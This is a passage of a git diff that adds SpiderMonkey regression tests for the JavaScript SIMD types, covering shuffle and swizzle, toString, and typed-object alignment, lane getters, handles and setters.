+function testShuffleUint32x4() {
+ var v = Uint32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.shuffle(v, v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Uint32x4);
+}
+
+function testShuffleFloat32x4() {
+ var v = Float32x4(1, 2, 3, 4);
+
+ assertThrowsInstanceOf(function() {
+ Int32x4.shuffle(v, v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Float32x4);
+}
+
+function testShuffleFloat64x2() {
+ var v = Float64x2(1, 2);
+
+ assertThrowsInstanceOf(function() {
+ Float32x4.shuffle(v, v, 0, 0, 0, 0);
+ }, TypeError);
+
+ testShuffleForType(Float64x2);
+}
+
+testSwizzleInt8x16();
+testSwizzleInt16x8();
+testSwizzleInt32x4();
+testSwizzleUint8x16();
+testSwizzleUint16x8();
+testSwizzleUint32x4();
+testSwizzleFloat32x4();
+testSwizzleFloat64x2();
+testShuffleInt8x16();
+testShuffleInt16x8();
+testShuffleInt32x4();
+testShuffleUint8x16();
+testShuffleUint16x8();
+testShuffleUint32x4();
+testShuffleFloat32x4();
+testShuffleFloat64x2();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/SIMD/toString.js b/js/src/tests/ecma_7/SIMD/toString.js
new file mode 100644
index 000000000..0f8bb7a9b
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/toString.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+
+function test() {
+ var Float32x4 = SIMD.Float32x4;
+ var f = Float32x4(11, 22, NaN, -44);
+ assertEq(f.toString(), "SIMD.Float32x4(11, 22, NaN, -44)");
+
+ // Polyfill check should show that we already have a toString.
+ assertEq(Float32x4.prototype.hasOwnProperty("toString"), true);
+
+ // This toString method type checks its argument.
+ var ts = Float32x4.prototype.toString;
+ assertThrowsInstanceOf(() => ts.call(5), TypeError);
+ assertThrowsInstanceOf(() => ts.call({}), TypeError);
+
+ // Can't convert SIMD objects to numbers.
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Float64x2 = SIMD.Float64x2;
+ var f = Float64x2(11, 22);
+ assertEq(f.toString(), "SIMD.Float64x2(11, 22)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Int8x16 = SIMD.Int8x16;
+ var f = Int8x16(11, 22, 33, 44, -11, -22, -33, -44, 1, 2, 3, 4, -1, -2, -3, -4);
+ assertEq(f.toString(), "SIMD.Int8x16(11, 22, 33, 44, -11, -22, -33, -44, 1, 2, 3, 4, -1, -2, -3, -4)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Int16x8 = SIMD.Int16x8;
+ var f = Int16x8(11, 22, 33, 44, -11, -22, -33, -44);
+ assertEq(f.toString(), "SIMD.Int16x8(11, 22, 33, 44, -11, -22, -33, -44)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Int32x4 = SIMD.Int32x4;
+ var f = Int32x4(11, 22, 33, 44);
+ assertEq(f.toString(), "SIMD.Int32x4(11, 22, 33, 44)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Uint8x16 = SIMD.Uint8x16;
+ var f = Uint8x16(11, 22, 33, 44, 245, 234, 223, 212, 1, 2, 3, 4, 255, 254, 0, 250);
+ assertEq(f.toString(), "SIMD.Uint8x16(11, 22, 33, 44, 245, 234, 223, 212, 1, 2, 3, 4, 255, 254, 0, 250)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Uint16x8 = SIMD.Uint16x8;
+ var f = Uint16x8(11, 22, 33, 44, 65535, 65534, 65533, 65532);
+ assertEq(f.toString(), "SIMD.Uint16x8(11, 22, 33, 44, 65535, 65534, 65533, 65532)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Uint32x4 = SIMD.Uint32x4;
+ var f = Uint32x4(11, 22, 4294967295, 4294967294);
+ assertEq(f.toString(), "SIMD.Uint32x4(11, 22, 4294967295, 4294967294)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Bool8x16 = SIMD.Bool8x16;
+ var f = Bool8x16(true, true, false, false, false, true, true, false, true, true, true, true, false, false, false, false);
+ assertEq(f.toString(), "SIMD.Bool8x16(true, true, false, false, false, true, true, false, true, true, true, true, false, false, false, false)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Bool16x8 = SIMD.Bool16x8;
+ var f = Bool16x8(true, true, false, false, true, false, false, true);
+ assertEq(f.toString(), "SIMD.Bool16x8(true, true, false, false, true, false, false, true)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Bool32x4 = SIMD.Bool32x4;
+ var f = Bool32x4(true, true, false, false);
+ assertEq(f.toString(), "SIMD.Bool32x4(true, true, false, false)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ var Bool64x2 = SIMD.Bool64x2;
+ var f = Bool64x2(true, false);
+ assertEq(f.toString(), "SIMD.Bool64x2(true, false)");
+ assertThrowsInstanceOf(() => +f, TypeError);
+ assertThrowsInstanceOf(() => f.valueOf(), TypeError);
+
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+test();
diff --git a/js/src/tests/ecma_7/SIMD/typedobjects.js b/js/src/tests/ecma_7/SIMD/typedobjects.js
new file mode 100644
index 000000000..e4886cf4e
--- /dev/null
+++ b/js/src/tests/ecma_7/SIMD/typedobjects.js
@@ -0,0 +1,1077 @@
+// |reftest| skip-if(!this.hasOwnProperty("SIMD"))
+var Float32x4 = SIMD.Float32x4;
+var Float64x2 = SIMD.Float64x2;
+var Int8x16 = SIMD.Int8x16;
+var Int16x8 = SIMD.Int16x8;
+var Int32x4 = SIMD.Int32x4;
+var Uint8x16 = SIMD.Uint8x16;
+var Uint16x8 = SIMD.Uint16x8;
+var Uint32x4 = SIMD.Uint32x4;
+var Bool8x16 = SIMD.Bool8x16;
+var Bool16x8 = SIMD.Bool16x8;
+var Bool32x4 = SIMD.Bool32x4;
+var Bool64x2 = SIMD.Bool64x2;
+
+var {StructType, Handle} = TypedObject;
+var {float32, float64, int8, int16, int32, uint8} = TypedObject;
+
+function testFloat32x4Alignment() {
+ assertEq(Float32x4.byteLength, 16);
+ assertEq(Float32x4.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Float32x4});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testFloat32x4Getters() {
+ var f = Float32x4(11, 22, 33, 44);
+ assertEq(Float32x4.extractLane(f, 0), 11);
+ assertEq(Float32x4.extractLane(f, 1), 22);
+ assertEq(Float32x4.extractLane(f, 2), 33);
+ assertEq(Float32x4.extractLane(f, 3), 44);
+
+ assertThrowsInstanceOf(() => Float32x4.extractLane(f, 4), RangeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(Int32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Float32x4.extractLane(f, f), TypeError);
+}
+
+function testFloat32x4Handles() {
+ var Array = Float32x4.array(3);
+ var array = new Array([Float32x4(1, 2, 3, 4),
+ Float32x4(5, 6, 7, 8),
+ Float32x4(9, 10, 11, 12)]);
+
+ // Test that trying to create handle into the interior of a
+ // Float32x4 fails.
+ assertThrowsInstanceOf(function() {
+ var h = float32.handle(array, 1, 0);
+ }, TypeError, "Creating a float32 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = float32.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a float32 handle to elem via move");
+}
+
+function testFloat32x4Reify() {
+ var Array = Float32x4.array(3);
+ var array = new Array([Float32x4(1, 2, 3, 4),
+ Float32x4(5, 6, 7, 8),
+ Float32x4(9, 10, 11, 12)]);
+
+ // Test that reading array[1] produces a *copy* of Float32x4, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Float32x4.extractLane(f, 3), 8);
+ assertEq(Float32x4.extractLane(array[1], 3), 8);
+ array[1] = Float32x4(15, 16, 17, 18);
+ assertEq(Float32x4.extractLane(f, 3), 8);
+ assertEq(Float32x4.extractLane(array[1], 3), 18);
+}
+
+function testFloat32x4Setters() {
+ var Array = Float32x4.array(3);
+ var array = new Array([Float32x4(1, 2, 3, 4),
+ Float32x4(5, 6, 7, 8),
+ Float32x4(9, 10, 11, 12)]);
+ assertEq(Float32x4.extractLane(array[1], 3), 8);
+
+ // Test that we are allowed to write Float32x4 values into array,
+ // but not other things.
+
+ array[1] = Float32x4(15, 16, 17, 18);
+ assertEq(Float32x4.extractLane(array[1], 3), 18);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: 15, y: 16, z: 17, w: 18};
+ }, TypeError, "Setting Float32x4 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [15, 16, 17, 18];
+ }, TypeError, "Setting Float32x4 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 22;
+ }, TypeError, "Setting Float32x4 from a number");
+}
+
+function testFloat64x2Alignment() {
+ assertEq(Float64x2.byteLength, 16);
+ assertEq(Float64x2.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Float64x2});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testFloat64x2Getters() {
+ // Create a Float64x2 and check that the getters work:
+ var f = Float64x2(11, 22);
+ assertEq(Float64x2.extractLane(f, 0), 11);
+ assertEq(Float64x2.extractLane(f, 1), 22);
+
+ assertThrowsInstanceOf(() => Float64x2.extractLane(f, 2), RangeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(Float32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Float64x2.extractLane(f, f), TypeError);
+}
+
+function testFloat64x2Handles() {
+ var Array = Float64x2.array(3);
+ var array = new Array([Float64x2(1, 2),
+ Float64x2(3, 4),
+ Float64x2(5, 6)]);
+
+ // Test that trying to create handle into the interior of a
+ // Float64x2 fails.
+ assertThrowsInstanceOf(function() {
+ var h = float64.handle(array, 1, 0);
+ }, TypeError, "Creating a float64 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = float64.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a float64 handle to elem via move");
+}
+
+function testFloat64x2Reify() {
+ var Array = Float64x2.array(3);
+ var array = new Array([Float64x2(1, 2),
+ Float64x2(3, 4),
+ Float64x2(5, 6)]);
+
+ // Test that reading array[1] produces a *copy* of Float64x2, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Float64x2.extractLane(f, 1), 4);
+ assertEq(Float64x2.extractLane(array[1], 1), 4);
+ array[1] = Float64x2(7, 8);
+ assertEq(Float64x2.extractLane(f, 1), 4);
+ assertEq(Float64x2.extractLane(array[1], 1), 8);
+}
+
+function testFloat64x2Setters() {
+ var Array = Float64x2.array(3);
+ var array = new Array([Float64x2(1, 2),
+ Float64x2(3, 4),
+ Float64x2(5, 6)]);
+ assertEq(Float64x2.extractLane(array[1], 1), 4);
+
+ // Test that we are allowed to write Float64x2 values into array,
+ // but not other things.
+
+ array[1] = Float64x2(7, 8);
+ assertEq(Float64x2.extractLane(array[1], 1), 8);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: 7, y: 8 };
+ }, TypeError, "Setting Float64x2 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [ 7, 8 ];
+ }, TypeError, "Setting Float64x2 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 9;
+ }, TypeError, "Setting Float64x2 from a number");
+}
+
+function testInt8x16Alignment() {
+ assertEq(Int8x16.byteLength, 16);
+ assertEq(Int8x16.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Int8x16});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testInt8x16Getters() {
+ // Create a Int8x16 and check that the getters work:
+ var f = Int8x16(11, 22, 33, 44, 55, 66, 77, 88, 99, 10, 20, 30, 40, 50, 60, 70);
+ assertEq(Int8x16.extractLane(f, 0), 11);
+ assertEq(Int8x16.extractLane(f, 1), 22);
+ assertEq(Int8x16.extractLane(f, 2), 33);
+ assertEq(Int8x16.extractLane(f, 3), 44);
+ assertEq(Int8x16.extractLane(f, 4), 55);
+ assertEq(Int8x16.extractLane(f, 5), 66);
+ assertEq(Int8x16.extractLane(f, 6), 77);
+ assertEq(Int8x16.extractLane(f, 7), 88);
+ assertEq(Int8x16.extractLane(f, 8), 99);
+ assertEq(Int8x16.extractLane(f, 9), 10);
+ assertEq(Int8x16.extractLane(f, 10), 20);
+ assertEq(Int8x16.extractLane(f, 11), 30);
+ assertEq(Int8x16.extractLane(f, 12), 40);
+ assertEq(Int8x16.extractLane(f, 13), 50);
+ assertEq(Int8x16.extractLane(f, 14), 60);
+ assertEq(Int8x16.extractLane(f, 15), 70);
+
+ assertThrowsInstanceOf(() => Int8x16.extractLane(f, 16), RangeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(Int32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Int8x16.extractLane(f, f), TypeError);
+}
+
+function testInt8x16Handles() {
+ var Array = Int8x16.array(3);
+ var array = new Array([Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Int8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Int8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+
+ // Test that trying to create handle into the interior of a
+ // Int8x16 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int8.handle(array, 1, 0);
+ }, TypeError, "Creating a int8 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int8.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int8 handle to elem via move");
+}
+
+function testInt8x16Reify() {
+ var Array = Int8x16.array(3);
+ var array = new Array([Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Int8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Int8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+
+ // Test that reading array[1] produces a *copy* of Int8x16, not an
+ // alias into the array.
+
+ var f = array[1];
+
+ var sj1 = Int8x16.extractLane(f, 3);
+
+ assertEq(sj1, 20);
+ assertEq(Int8x16.extractLane(array[1], 3), 20);
+ array[1] = Int8x16(49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64);
+ assertEq(Int8x16.extractLane(f, 3), 20);
+ assertEq(Int8x16.extractLane(array[1], 3), 52);
+}
+
+function testInt8x16Setters() {
+ var Array = Int8x16.array(3);
+ var array = new Array([Int8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Int8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Int8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+ assertEq(Int8x16.extractLane(array[1], 3), 20);
+
+ // Test that we are allowed to write Int8x16 values into array,
+ // but not other things.
+
+ array[1] = Int8x16(49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64);
+ assertEq(Int8x16.extractLane(array[1], 3), 52);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: 49, s1: 50, s2: 51, s3: 52, s4: 53, s5: 54, s6: 55, s7: 56,
+ s8: 57, s9: 58, s10: 59, s11: 60, s12: 61, s13: 62, s14: 63, s15: 64};
+ }, TypeError, "Setting Int8x16 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64];
+ }, TypeError, "Setting Int8x16 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 52;
+ }, TypeError, "Setting Int8x16 from a number");
+}
+
+function testInt16x8Alignment() {
+ assertEq(Int16x8.byteLength, 16);
+ assertEq(Int16x8.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Int16x8});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testInt16x8Getters() {
+ // Create a Int16x8 and check that the getters work:
+ var f = Int16x8(11, 22, 33, 44, 55, 66, 77, 88);
+ assertEq(Int16x8.extractLane(f, 0), 11);
+ assertEq(Int16x8.extractLane(f, 1), 22);
+ assertEq(Int16x8.extractLane(f, 2), 33);
+ assertEq(Int16x8.extractLane(f, 3), 44);
+ assertEq(Int16x8.extractLane(f, 4), 55);
+ assertEq(Int16x8.extractLane(f, 5), 66);
+ assertEq(Int16x8.extractLane(f, 6), 77);
+ assertEq(Int16x8.extractLane(f, 7), 88);
+
+ assertThrowsInstanceOf(() => Int16x8.extractLane(f, 8), RangeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(Int32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Int16x8.extractLane(f, f), TypeError);
+}
+
+function testInt16x8Handles() {
+ var Array = Int16x8.array(3);
+ var array = new Array([Int16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Int16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Int16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+
+ // Test that trying to create handle into the interior of a
+ // Int16x8 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int16.handle(array, 1, 0);
+ }, TypeError, "Creating a int16 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int16.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int16 handle to elem via move");
+}
+
+function testInt16x8Reify() {
+ var Array = Int16x8.array(3);
+ var array = new Array([Int16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Int16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Int16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+
+ // Test that reading array[1] produces a *copy* of Int16x8, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Int16x8.extractLane(f, 3), 12);
+ assertEq(Int16x8.extractLane(array[1], 3), 12);
+ array[1] = Int16x8(25, 26, 27, 28, 29, 30, 31, 32);
+ assertEq(Int16x8.extractLane(f, 3), 12);
+ assertEq(Int16x8.extractLane(array[1], 3), 28);
+}
+
+function testInt16x8Setters() {
+ var Array = Int16x8.array(3);
+ var array = new Array([Int16x8(1, 2, 3, 4, 5, 6, 7, 8),
+ Int16x8(9, 10, 11, 12, 13, 14, 15, 16),
+ Int16x8(17, 18, 19, 20, 21, 22, 23, 24)]);
+ assertEq(Int16x8.extractLane(array[1], 3), 12);
+
+ // Test that we are allowed to write Int16x8 values into array,
+ // but not other things.
+
+ array[1] = Int16x8(25, 26, 27, 28, 29, 30, 31, 32);
+ assertEq(Int16x8.extractLane(array[1], 3), 28);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: 25, s1: 26, s2: 27, s3: 28, s4: 29, s5: 30, s6: 31, s7: 32};
+ }, TypeError, "Setting Int16x8 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [25, 26, 27, 28, 29, 30, 31, 32];
+ }, TypeError, "Setting Int16x8 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 28;
+ }, TypeError, "Setting Int16x8 from a number");
+}
+
+function testInt32x4Alignment() {
+ assertEq(Int32x4.byteLength, 16);
+ assertEq(Int32x4.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Int32x4});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testInt32x4Getters() {
+ // Create a Int32x4 and check that the getters work:
+ var f = Int32x4(11, 22, 33, 44);
+ assertEq(Int32x4.extractLane(f, 0), 11);
+ assertEq(Int32x4.extractLane(f, 1), 22);
+ assertEq(Int32x4.extractLane(f, 2), 33);
+ assertEq(Int32x4.extractLane(f, 3), 44);
+
+ assertThrowsInstanceOf(() => Int32x4.extractLane(f, 4), RangeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(Float32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Int32x4.extractLane(f, f), TypeError);
+}
+
+function testInt32x4Handles() {
+ var Array = Int32x4.array(3);
+ var array = new Array([Int32x4(1, 2, 3, 4),
+ Int32x4(5, 6, 7, 8),
+ Int32x4(9, 10, 11, 12)]);
+
+ // Test that trying to create handle into the interior of a
+ // Int32x4 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int32.handle(array, 1, 0);
+ }, TypeError, "Creating a int32 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int32.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int32 handle to elem via move");
+}
+
+function testInt32x4Reify() {
+ var Array = Int32x4.array(3);
+ var array = new Array([Int32x4(1, 2, 3, 4),
+ Int32x4(5, 6, 7, 8),
+ Int32x4(9, 10, 11, 12)]);
+
+ // Test that reading array[1] produces a *copy* of Int32x4, not an
+ // alias into the array.
+
+ var f = array[1];
+ assertEq(Int32x4.extractLane(f, 3), 8);
+ assertEq(Int32x4.extractLane(array[1], 3), 8);
+ array[1] = Int32x4(15, 16, 17, 18);
+ assertEq(Int32x4.extractLane(f, 3), 8);
+ assertEq(Int32x4.extractLane(array[1], 3), 18);
+}
+
+function testInt32x4Setters() {
+ var Array = Int32x4.array(3);
+ var array = new Array([Int32x4(1, 2, 3, 4),
+ Int32x4(5, 6, 7, 8),
+ Int32x4(9, 10, 11, 12)]);
+ assertEq(Int32x4.extractLane(array[1], 3), 8);
+
+ // Test that we are allowed to write Int32x4 values into array,
+ // but not other things.
+ array[1] = Int32x4(15, 16, 17, 18);
+ assertEq(Int32x4.extractLane(array[1], 3), 18);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {x: 15, y: 16, z: 17, w: 18};
+ }, TypeError, "Setting Int32x4 from an object");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = [15, 16, 17, 18];
+ }, TypeError, "Setting Int32x4 from an array");
+
+ assertThrowsInstanceOf(function() {
+ array[1] = 22;
+ }, TypeError, "Setting Int32x4 from a number");
+}
+
+function testUint8x16Alignment() {
+ assertEq(Uint8x16.byteLength, 16);
+ assertEq(Uint8x16.byteAlignment, 16);
+
+ var Compound = new StructType({c: uint8, d: uint8, f: Uint8x16});
+ assertEq(Compound.fieldOffsets.c, 0);
+ assertEq(Compound.fieldOffsets.d, 1);
+ assertEq(Compound.fieldOffsets.f, 16);
+}
+
+function testUint8x16Getters() {
+ // Create a Uint8x16 and check that the getters work:
+ var f = Uint8x16(11, 22, 33, 44, 55, 66, 77, 88, 99, 10, 20, 30, 40, 50, 60, 70);
+ assertEq(Uint8x16.extractLane(f, 0), 11);
+ assertEq(Uint8x16.extractLane(f, 1), 22);
+ assertEq(Uint8x16.extractLane(f, 2), 33);
+ assertEq(Uint8x16.extractLane(f, 3), 44);
+ assertEq(Uint8x16.extractLane(f, 4), 55);
+ assertEq(Uint8x16.extractLane(f, 5), 66);
+ assertEq(Uint8x16.extractLane(f, 6), 77);
+ assertEq(Uint8x16.extractLane(f, 7), 88);
+ assertEq(Uint8x16.extractLane(f, 8), 99);
+ assertEq(Uint8x16.extractLane(f, 9), 10);
+ assertEq(Uint8x16.extractLane(f, 10), 20);
+ assertEq(Uint8x16.extractLane(f, 11), 30);
+ assertEq(Uint8x16.extractLane(f, 12), 40);
+ assertEq(Uint8x16.extractLane(f, 13), 50);
+ assertEq(Uint8x16.extractLane(f, 14), 60);
+ assertEq(Uint8x16.extractLane(f, 15), 70);
+
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(f, 16), RangeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(f, -1), RangeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(f, 0.5), RangeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(f, {}), RangeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(Uint32x4(1,2,3,4), 0), TypeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(1, 0), TypeError);
+ assertThrowsInstanceOf(() => Uint8x16.extractLane(f, f), TypeError);
+}
+
+function testUint8x16Handles() {
+ var Array = Uint8x16.array(3);
+ var array = new Array([Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Uint8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Uint8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+
+ // Test that trying to create handle into the interior of a
+ // Uint8x16 fails.
+ assertThrowsInstanceOf(function() {
+ var h = int8.handle(array, 1, 0);
+ }, TypeError, "Creating a int8 handle to elem via ctor");
+
+ assertThrowsInstanceOf(function() {
+ var h = int8.handle();
+ Handle.move(h, array, 1, 0);
+ }, TypeError, "Creating a int8 handle to elem via move");
+}
+
+function testUint8x16Reify() {
+ var Array = Uint8x16.array(3);
+ var array = new Array([Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Uint8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Uint8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+
+ // Test that reading array[1] produces a *copy* of Uint8x16, not an
+ // alias into the array.
+
+ var f = array[1];
+
+ var sj1 = Uint8x16.extractLane(f, 3);
+
+ assertEq(sj1, 20);
+ assertEq(Uint8x16.extractLane(array[1], 3), 20);
+ array[1] = Uint8x16(49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64);
+ assertEq(Uint8x16.extractLane(f, 3), 20);
+ assertEq(Uint8x16.extractLane(array[1], 3), 52);
+}
+
+function testUint8x16Setters() {
+ var Array = Uint8x16.array(3);
+ var array = new Array([Uint8x16(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16),
+ Uint8x16(17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32),
+ Uint8x16(33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48)]);
+ assertEq(Uint8x16.extractLane(array[1], 3), 20);
+
+ // Test that we are allowed to write Uint8x16 values into array,
+ // but not other things.
+
+ array[1] = Uint8x16(49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64);
+ assertEq(Uint8x16.extractLane(array[1], 3), 52);
+
+ assertThrowsInstanceOf(function() {
+ array[1] = {s0: 49, s1: 50, s2: 51, s3: 52, s4: 53, s5: 54, s6: 55, s7: 56,
